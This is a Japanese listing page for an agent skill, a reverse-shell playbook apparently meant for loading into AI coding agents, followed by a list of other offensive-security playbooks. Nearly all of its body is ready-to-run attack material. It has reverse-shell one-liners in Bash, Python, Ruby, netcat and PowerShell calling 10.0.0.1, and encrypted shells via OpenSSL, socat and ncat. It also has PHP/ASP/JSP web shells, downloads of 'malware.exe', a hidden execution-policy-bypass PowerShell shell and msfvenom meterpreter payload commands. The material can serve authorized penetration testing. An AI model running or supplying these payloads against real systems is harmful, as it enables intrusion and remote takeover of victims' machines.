Communityコーディング&開発github.com

yaklang/reverse-shell-techniques

リバースシェル技術のプレイブック。リモートシェルの確立時に使用します。言語ワンライナー、暗号化シェル(OpenSSL/socat/ncat)、Webシェル、PTYアップグレード、ファイル転送方法、PowerShellシェル、Windowsペイロード生成を含みます。

reverse-shell-techniques とは?

このスキルは、セキュリティ評価やペネトレーションテストにおいてリモートシェルを確立するための包括的なテクニック集です。対応プラットフォームは、Linux、Windows、macOSなど多岐にわたり、Python、Bash、PowerShell、Rubyなどの言語ワンライナーから、OpenSSLやsocat/ncatを用いた暗号化シェル、さらにWebシェルやPTY(疑似端末)のアップグレード方法まで網羅しています。また、ファイル転送やWindows環境向けのペイロード生成も含まれており、攻撃的セキュリティと防御的セキュリティの両方の文脈で活用できます。SKILL.mdには、各手法のコマンド例とともに、エラーハンドリングや環境依存の注意点が詳述されており、実践的なリファレンスとして設計されています。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/reverse-shell-techniques

Installed? Explore more コーディング&開発 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

reverse-shell-techniques は何をしますか?

リバースシェル技術のプレイブック。リモートシェルの確立時に使用します。言語ワンライナー、暗号化シェル(OpenSSL/socat/ncat)、Webシェル、PTYアップグレード、ファイル転送方法、PowerShellシェル、Windowsペイロード生成を含みます。

目次

はじめに

このプレイブックは、リモートシェルを確立するための実践的なテクニックを提供します。各手法にはコマンド例と実行時の注意点が含まれています。ターゲット環境に応じて適切な方法を選択してください。

言語ワンライナー

以下は、一般的なプログラミング言語を使用したリバースシェルワンライナーです。

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat (伝統的)

nc -e /bin/sh 10.0.0.1 1234

Netcat (OpenBSD)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

暗号化シェル (OpenSSL/socat/ncat)

暗号化シェルは、通信の暗号化とステルス性を向上させます。

OpenSSL リバースシェル

サーバー(リスナー):

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4443

クライアント(ターゲット):

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4443 > /tmp/s; rm /tmp/s

socat 暗号化シェル

サーバー(リスナー):

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork STDIO

クライアント(ターゲット):

socat OPENSSL-CONNECT:10.0.0.1:443,verify=0 EXEC:"/bin/sh",pty,stderr,setsid,sigint,sane

Ncat SSL シェル

サーバー(リスナー):

ncat -lvnp 4443 --ssl

クライアント(ターゲット):

ncat 10.0.0.1 4443 --ssl -e /bin/sh

Webシェル

Webサーバー上でリモートコマンドを実行するためのシェルです。

PHP Webシェル

<?php system($_GET['cmd']); ?>

ASP Webシェル

<% Response.Write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>

JSP Webシェル

<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>

PTYアップグレード

リバースシェルを完全なインタラクティブな疑似端末(PTY)にアップグレードする方法です。

Python PTYアップグレード

python -c 'import pty; pty.spawn("/bin/bash")'

script コマンド

script /dev/null -c bash

socat PTYアップグレード

ステップ1(ターゲット): Ctrl+Z でシェルをバックグラウンドにする。

ステップ2(ローカル):

stty raw -echo; fg

ステップ3(ターゲット):

reset

ファイル転送

リモートシェルとの間でファイルを転送する方法です。

Python HTTPサーバー

python3 -m http.server 8080

wget/curl

wget http://10.0.0.1/malware.exe
curl -O http://10.0.0.1/malware.exe

PowerShell B64 ダウンロード

powershell -Command "Invoke-WebRequest -Uri http://10.0.0.1/malware.exe -OutFile C:\Users\Public\malware.exe"

netcat ファイル転送

送信側:

cat file.txt | nc -lvnp 4444

受信側:

nc 10.0.0.1 4444 > file.txt

PowerShellリバースシェル

Windows環境向けのPowerShellベースのリバースシェルです。

PowerShell TCP ワンライナー

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"

PowerShell リバースシェル (base64エンコード)

$Text = "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
powershell -EncodedCommand $EncodedText

Windowsペイロード生成

Msfvenomを使用したWindowsペイロードの生成方法です。

Windows Reverse TCP Stager

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

Windows Reverse TCP (HTTPS)

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

64ビット Windows ペイロード

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell64.exe

PowerShell ランチャー (Base64)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f psh-reflection -o shell.ps1

免責事項

このプレイブックは、許可された環境(例:ペネトレーションテスト、バグバウンティ)での教育目的のみで使用してください。不正アクセスは法律違反となる可能性があります。

ライセンス

MIT License

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

関連スキル